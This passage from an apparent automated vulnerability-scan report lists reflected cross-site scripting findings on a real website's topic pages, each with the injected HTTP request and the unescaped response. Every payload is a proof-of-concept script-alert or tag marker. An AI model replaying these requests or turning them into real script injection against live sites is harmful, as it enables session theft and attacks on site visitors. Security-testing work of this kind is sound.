Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:41 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:43 GMT
Date: Thu, 10 Mar 2011 17:15:43 GMT
Content-Length: 22462
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-lead735dc"><a>ca7f72df341 node node-958">
...[SNIP]...

2.655. http://www.rodale.com/topic/lead [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/lead

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d85c7"><script>alert(1)</script>1285ce94315 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/lead?d85c7"><script>alert(1)</script>1285ce94315=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:51 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:56 GMT
Date: Thu, 10 Mar 2011 17:14:56 GMT
Content-Length: 32284
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/lead?d85c7"><script>alert(1)</script>1285ce94315=1" title="Register" class="moreLink">
...[SNIP]...

2.656. http://www.rodale.com/topic/lets-move [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lets-move

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5968"><a>10fc5e2fa02 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf5968"><a>10fc5e2fa02/lets-move HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:58 GMT
Date: Thu, 10 Mar 2011 17:14:58 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf5968"><a>10fc5e2fa02 topicf5968">
...[SNIP]...

2.657. http://www.rodale.com/topic/lets-move [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lets-move

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b70f"><a>766bca69fc3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/lets-move6b70f"><a>766bca69fc3 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:42 GMT
Date: Thu, 10 Mar 2011 17:15:42 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-lets-move6b70f"><a>766bca69fc3 node node-958">
...[SNIP]...

2.658. http://www.rodale.com/topic/lets-move [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/lets-move

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2da12"><script>alert(1)</script>e16ef1b9cca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/lets-move?2da12"><script>alert(1)</script>e16ef1b9cca=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:55 GMT
Date: Thu, 10 Mar 2011 17:14:55 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33305

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/lets-move?2da12"><script>alert(1)</script>e16ef1b9cca=1" title="Register" class="moreLink">
...[SNIP]...

2.659. http://www.rodale.com/topic/low-carb-diets [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/low-carb-diets

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8be5"><a>b18cdca3f0e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd8be5"><a>b18cdca3f0e/low-carb-diets HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:45:04 GMT
Date: Thu, 10 Mar 2011 17:15:05 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd8be5"><a>b18cdca3f0e topicd8be5">
...[SNIP]...

2.660. http://www.rodale.com/topic/low-carb-diets [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/low-carb-diets

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6213e"><a>0c3e78c3a00 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/low-carb-diets6213e"><a>0c3e78c3a00 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:41 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:43 GMT
Date: Thu, 10 Mar 2011 17:15:43 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-low-carb-diets6213e"><a>0c3e78c3a00 node node-958">
...[SNIP]...

2.661. http://www.rodale.com/topic/low-carb-diets [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/low-carb-diets

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64254"><script>alert(1)</script>43b0ab925c8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/low-carb-diets?64254"><script>alert(1)</script>43b0ab925c8=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:02 GMT
Date: Thu, 10 Mar 2011 17:15:02 GMT
Content-Length: 31093
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/low-carb-diets?64254"><script>alert(1)</script>43b0ab925c8=1" title="Register" class="moreLink">
...[SNIP]...

2.662. http://www.rodale.com/topic/lungs-and-respiratory-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lungs-and-respiratory-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a730"><a>2f0885f6f7f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic1a730"><a>2f0885f6f7f/lungs-and-respiratory-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:44:54 GMT
Date: Thu, 10 Mar 2011 17:14:55 GMT
Content-Length: 22555
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic1a730"><a>2f0885f6f7f topic1a730">
...[SNIP]...

2.663. http://www.rodale.com/topic/lungs-and-respiratory-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lungs-and-respiratory-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96ddf"><a>30f42517b5b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/lungs-and-respiratory-health96ddf"><a>30f42517b5b HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:32 GMT
Date: Thu, 10 Mar 2011 17:15:32 GMT
Content-Length: 22534
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-lungs-and-respiratory-health96ddf"><a>30f42517b5b node node-958">
...[SNIP]...

2.664. http://www.rodale.com/topic/lungs-and-respiratory-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/lungs-and-respiratory-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 592cf"><script>alert(1)</script>a5cbe3b2e3a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/lungs-and-respiratory-health?592cf"><script>alert(1)</script>a5cbe3b2e3a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:14:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:44:52 GMT
Date: Thu, 10 Mar 2011 17:14:52 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33164

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/lungs-and-respiratory-health?592cf"><script>alert(1)</script>a5cbe3b2e3a=1" title="Register" class="moreLink">
...[SNIP]...

2.665. http://www.rodale.com/topic/lyme-disease-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lyme-disease-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a6f0"><a>348b0d33953 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic3a6f0"><a>348b0d33953/lyme-disease-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:13 GMT
Date: Thu, 10 Mar 2011 17:15:13 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic3a6f0"><a>348b0d33953 topic3a6f0">
...[SNIP]...

2.666. http://www.rodale.com/topic/lyme-disease-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/lyme-disease-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4da8"><a>2f69773a97e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/lyme-disease-0c4da8"><a>2f69773a97e HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:07 GMT
Date: Thu, 10 Mar 2011 17:16:07 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-lyme-disease-0c4da8"><a>2f69773a97e node node-958">
...[SNIP]...

2.667. http://www.rodale.com/topic/lyme-disease-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/lyme-disease-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 295d9"><script>alert(1)</script>75c666a7a87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/lyme-disease-0?295d9"><script>alert(1)</script>75c666a7a87=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:45:10 GMT
Date: Thu, 10 Mar 2011 17:15:11 GMT
Content-Length: 31119
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/lyme-disease-0?295d9"><script>alert(1)</script>75c666a7a87=1" title="Register" class="moreLink">
...[SNIP]...

2.668. http://www.rodale.com/topic/mammograms [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mammograms

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2e4b"><a>f783309e5d6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topice2e4b"><a>f783309e5d6/mammograms HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:19 GMT
Date: Thu, 10 Mar 2011 17:15:19 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topice2e4b"><a>f783309e5d6 topice2e4b">
...[SNIP]...

2.669. http://www.rodale.com/topic/mammograms [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mammograms

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 955b9"><a>15e7c08fbca was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/mammograms955b9"><a>15e7c08fbca HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:05 GMT
Date: Thu, 10 Mar 2011 17:16:05 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-mammograms955b9"><a>15e7c08fbca node node-958">
...[SNIP]...

2.670. http://www.rodale.com/topic/mammograms [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/mammograms

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb1bb"><script>alert(1)</script>0922be3aa21 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/mammograms?cb1bb"><script>alert(1)</script>0922be3aa21=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:14 GMT
Date: Thu, 10 Mar 2011 17:15:14 GMT
Content-Length: 30748
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/mammograms?cb1bb"><script>alert(1)</script>0922be3aa21=1" title="Register" class="moreLink">
...[SNIP]...

2.671. http://www.rodale.com/topic/maria-rodale [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/maria-rodale

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f49f6"><a>0d7018fcc89 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf49f6"><a>0d7018fcc89/maria-rodale HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:17 GMT
Date: Thu, 10 Mar 2011 17:15:17 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf49f6"><a>0d7018fcc89 topicf49f6">
...[SNIP]...

2.672. http://www.rodale.com/topic/maria-rodale [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
